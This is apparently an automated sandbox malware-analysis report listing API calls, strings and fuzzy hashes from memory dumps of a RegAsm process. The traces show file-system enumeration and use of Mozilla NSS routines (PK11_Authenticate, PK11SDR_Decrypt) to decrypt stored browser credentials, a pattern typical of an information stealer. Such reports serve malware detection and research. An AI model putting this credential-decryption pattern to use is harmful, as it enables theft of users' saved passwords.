GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C876518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C87652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C87671C
GetCurrentProcess.KERNEL32 ref: 6C876724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C87672F
GetCurrentProcess.KERNEL32 ref: 6C876759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C876764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C876A80
GetSystemInfo.KERNEL32(?), ref: 6C876ABE
__Init_thread_footer.LIBCMT ref: 6C876AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C876AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C876AF7

Strings

nvdxgiwrap.dll, xrefs: 6C876513
nvd3d9wrap.dll, xrefs: 6C876500
user32.dll, xrefs: 6C876526
detoured.dll, xrefs: 6C8764DA
_etoured.dll, xrefs: 6C8764ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C876798

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 611592d97f58021233548af13a16c57175e90820a050a06b62089c1a4ea2e64f
Instruction ID: 50d3c942285e92172c310e8b446f524dbd5c362bd9548e22b0609fd34486229d
Opcode Fuzzy Hash: 611592d97f58021233548af13a16c57175e90820a050a06b62089c1a4ea2e64f
Instruction Fuzzy Hash: D8F1E670D052299FDF30CF64CE4879EB7B5AF4A318F1446A9D819A7641E731AE84CFA0

Function 00414050 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
HeapAlloc.KERNEL32(00000000), ref: 00414067
wsprintfA.USER32 ref: 00414086
FindFirstFileA.KERNEL32(?,?), ref: 0041409D
StrCmpCA.SHLWAPI(?,00420F94), ref: 004140CB
StrCmpCA.SHLWAPI(?,00420F98), ref: 004140E1
FindNextFileA.KERNEL32(000000FF,?), ref: 0041416B
FindClose.KERNEL32(000000FF), ref: 00414180
lstrcat.KERNEL32(?,00F7ACC0), ref: 004141A5
lstrcat.KERNEL32(?,00F81EC0), ref: 004141B8
lstrlenA.KERNEL32(?), ref: 004141C5
lstrlenA.KERNEL32(?), ref: 004141D6

Strings

%s\%s, xrefs: 004140FB
%s\*, xrefs: 0041407A

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 3bfca4904039594e7bc184b9ea0cd864b735e8bbaf74a4ec34d52db7b4bf7707
Instruction ID: 5a9d9924cf4f5588b7cf1b0220733e19b9eaeea9c8f58638c5d055d4a934acf6
Opcode Fuzzy Hash: 3bfca4904039594e7bc184b9ea0cd864b735e8bbaf74a4ec34d52db7b4bf7707
Instruction Fuzzy Hash: 6A5194B1940218ABC720EB70DC89FEE777DAF58304F40458DB60996190EB749BC5CFA5

Function 6C9EEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9EC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C9EDAE2,?), ref: 6C9EC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9EF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9EF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C9EF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9EF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CAB218C), ref: 6C9EF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C9EF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9EF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C9EF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C9EF210

Part of subcall function 6C9952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C9EF1E9,?,00000000,?,?), ref: 6C9952F5
Part of subcall function 6C9952D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C99530F
Part of subcall function 6C9952D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C995326
Part of subcall function 6C9952D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C9EF1E9,?,00000000,?,?), ref: 6C995340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9EF227

Part of subcall function 6C9DFAB0: free.MOZGLUE(?,-00000001,?,?,6C97F673,00000000,00000000), ref: 6C9DFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C9EF23E

Part of subcall function 6C9DBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C98E708,00000000,00000000,00000004,00000000), ref: 6C9DBE6A
Part of subcall function 6C9DBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C9904DC,?), ref: 6C9DBE7E
Part of subcall function 6C9DBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C9DBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C9EF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C9EF3A8

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C9EF3B3

Part of subcall function 6C992D20: PK11_DestroyObject.NSS3(?,?), ref: 6C992D3C
Part of subcall function 6C992D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C992D5F

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 83b58695d9e8d2465659cf66e291f7901782a9eaccf09f8fcd5fecf2cb9446e0
Instruction ID: 31dafc9d4581ee3950955764b69993c9ede8bfafc157fc1e53837741d66cbc36
Opcode Fuzzy Hash: 83b58695d9e8d2465659cf66e291f7901782a9eaccf09f8fcd5fecf2cb9446e0
Instruction Fuzzy Hash: C4D1A176E016059FDB15CF99E880A9EB7F9EF6C30CF15802AE815A7B11E731E805CB50

Function 6C88D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C8EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C89D1C5), ref: 6C88D4F2
LeaveCriticalSection.KERNEL32(6C8EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C89D1C5), ref: 6C88D50B

Part of subcall function 6C86CFE0: EnterCriticalSection.KERNEL32(6C8EE784), ref: 6C86CFF6
Part of subcall function 6C86CFE0: LeaveCriticalSection.KERNEL32(6C8EE784), ref: 6C86D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C89D1C5), ref: 6C88D52E
EnterCriticalSection.KERNEL32(6C8EE7DC), ref: 6C88D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C88D6A6
LeaveCriticalSection.KERNEL32(6C8EE7DC), ref: 6C88D712
LeaveCriticalSection.KERNEL32(6C8EE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C89D1C5), ref: 6C88D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C88D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C88D82C
<jemalloc>, xrefs: 6C88D827

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 2a3a70ec326e11c26f9c2df9e143259be7fcfcc62544a13940b44b9e3f3a02b7
Instruction ID: a9ff1c1a093fd305d829bb40719a2bf8a1fa867d2a39599b3fa2df6e62462bf0
Opcode Fuzzy Hash: 2a3a70ec326e11c26f9c2df9e143259be7fcfcc62544a13940b44b9e3f3a02b7
Instruction Fuzzy Hash: CC91C171A057168FD774DF29C69062AB7E1EB8A318F148D3FD45A87F85D730A844CB81

Function 6C9B0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C9B0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9B0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C9B1006
PK11_FreeSymKey.NSS3(?), ref: 6C9B101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9B1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9B103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C9B1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C9B10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C9B10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B112E

Part of subcall function 6C9B1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C9B08C4,?,?), ref: 6C9B15B8
Part of subcall function 6C9B1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C9B08C4,?,?), ref: 6C9B15C1
Part of subcall function 6C9B1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B162E
Part of subcall function 6C9B1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B1637

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 19982c1ae24f7982c1b7266f91e50b3f9d85946cb681fbdf06802c3c71bfa8f7
Instruction ID: fd459268a23d139ba71915d2ae961e6a47db720c600cef582c55f8b1f443c4dc
Opcode Fuzzy Hash: 19982c1ae24f7982c1b7266f91e50b3f9d85946cb681fbdf06802c3c71bfa8f7
Instruction Fuzzy Hash: 2271EFB5A00205EFDB04CFA5CD85AABB7B4FF49318F14862CE909A7711EB31E954CB91

Function 0040C660 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C693
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00F7AAB0), ref: 0040C6B1
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C6BC
PK11_GetInternalKeySlot.NSS3 ref: 0040C6CA
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C6E5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C72B
memcpy.MSVCRT ref: 0040C752
lstrcat.KERNEL32(?,00420B2E), ref: 0040C783
lstrcat.KERNEL32(?,00420B2F), ref: 0040C797
PK11_FreeSlot.NSS3(?), ref: 0040C7A1
lstrcat.KERNEL32(?,00420B33), ref: 0040C7B8

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlenmemcpymemset
String ID:
API String ID: 3428224297-0
Opcode ID: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction ID: c0f5229a5aee9ff77f702815419eeee9532eb5a68af55b4089f36d1ae8d19eeb
Opcode Fuzzy Hash: cbad7c0847f5c4f1099e9d5384a001de016509e2d4f22c5d3e1b4949098894a2
Instruction Fuzzy Hash: 96414E7490421ADFCB20CFA4DD89BEEBBB9AB48304F1042B9F509A7280D7745A85CF95

Function 6C9D6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C981C6F,00000000,00000004,?,?), ref: 6C9D6C3F

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C981C6F,00000000,00000004,?,?), ref: 6C9D6C60
PR_ExplodeTime.NSS3(00000000,6C981C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C981C6F,00000000,00000004,?,?), ref: 6C9D6C94

Strings

gfff, xrefs: 6C9D6D66
gfff, xrefs: 6C9D6CFD
gfff, xrefs: 6C9D6CF5
gfff, xrefs: 6C9D6D30
gfff, xrefs: 6C9D6D9C

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: ba64deb4c3fdb86c6e2540c14e2f30bcfabd51ac58bf680b0bb4ed726fc7a932
Instruction ID: 18ea1e45b73c3782fc94aaef1e68095d303133f623d3ce0ae661b154d04d036f
Opcode Fuzzy Hash: ba64deb4c3fdb86c6e2540c14e2f30bcfabd51ac58bf680b0bb4ed726fc7a932
Instruction Fuzzy Hash: A9513A72B016494FC71CCDADDC526DABBDAABA4310F48C23AE442DB785D638E906C751

Function 6CA50F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CA51027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA510B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA51353

Strings

%02x, xrefs: 6CA512F6
%lld, xrefs: 6CA5114B
zeroblob(%d), xrefs: 6CA51223
-- , xrefs: 6CA50FF5
NULL, xrefs: 6CA5119E
$, xrefs: 6CA512A0
'%.*q', xrefs: 6CA51217, 6CA51292

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: c288153262c0631ea1fa963cd81517264b10b71889269107b68199e2278bd244
Instruction ID: 3e763aaca0947c4df54bbe68fec8a09da78991fd3679499a8a16e5008daeeef7
Opcode Fuzzy Hash: c288153262c0631ea1fa963cd81517264b10b71889269107b68199e2278bd244
Instruction Fuzzy Hash: 74E1C171A083409FD714CF18C490A7BBBF1BF95358F88896CE68587B51E771E899CB82

Function 0040EB60 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040EB7E
FindFirstFileA.KERNEL32(?,?), ref: 0040EB95
StrCmpCA.SHLWAPI(?,004214DC), ref: 0040EBEB
StrCmpCA.SHLWAPI(?,004214E0), ref: 0040EC01
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F0EE
FindClose.KERNEL32(000000FF), ref: 0040F103

Strings

%s\*.*, xrefs: 0040EB72

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b641c36dcbe642b9c87fd7d2aa1787ad06c513d5b20f32966b0821658141bab0
Instruction ID: c6306bd3c9db837ca22bf811b4dc293e3d61997c094f6f04bf3b71cb7d88404f
Opcode Fuzzy Hash: b641c36dcbe642b9c87fd7d2aa1787ad06c513d5b20f32966b0821658141bab0
Instruction Fuzzy Hash: 27E13071912118AADB14FB61DC56EEE7338AF50314F4041EEB40B62092EE786FD9CF5A

Function 6CA58FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA58FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA590DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA59118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA5915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA591C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA59209

Strings

3333, xrefs: 6CA5925E
UUUU, xrefs: 6CA59255

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: c7836f2001da5eb2a8e594d4e3fbaf21fdccc8a3810d4e0999a8021fdaff3d09
Instruction ID: befab5092634228b622c36a62320b9172cbcda57c098e733329d2ab96786f389
Opcode Fuzzy Hash: c7836f2001da5eb2a8e594d4e3fbaf21fdccc8a3810d4e0999a8021fdaff3d09
Instruction Fuzzy Hash: 9BA1A0B2E001159BDB08CB69CD91B9EB7B5BF48324F498139E905AB341E736EC56CBD0

Function 6C910FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C90CA30: EnterCriticalSection.KERNEL32(?,?,?,6C96F9C9,?,6C96F4DA,6C96F9C9,?,?,6C93369A), ref: 6C90CA7A
Part of subcall function 6C90CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C90CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C91103E
EnterCriticalSection.KERNEL32(?), ref: 6C911139
LeaveCriticalSection.KERNEL32(?), ref: 6C911190
sqlite3_free.NSS3(00000000), ref: 6C911227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C91126E
sqlite3_free.NSS3(?), ref: 6C91127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C911267
winAccess, xrefs: 6C91129B

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: f76efd3eb63fc20dfd556e70eddfba32497628ef78775fae3ae8fdc1cb04a5c5
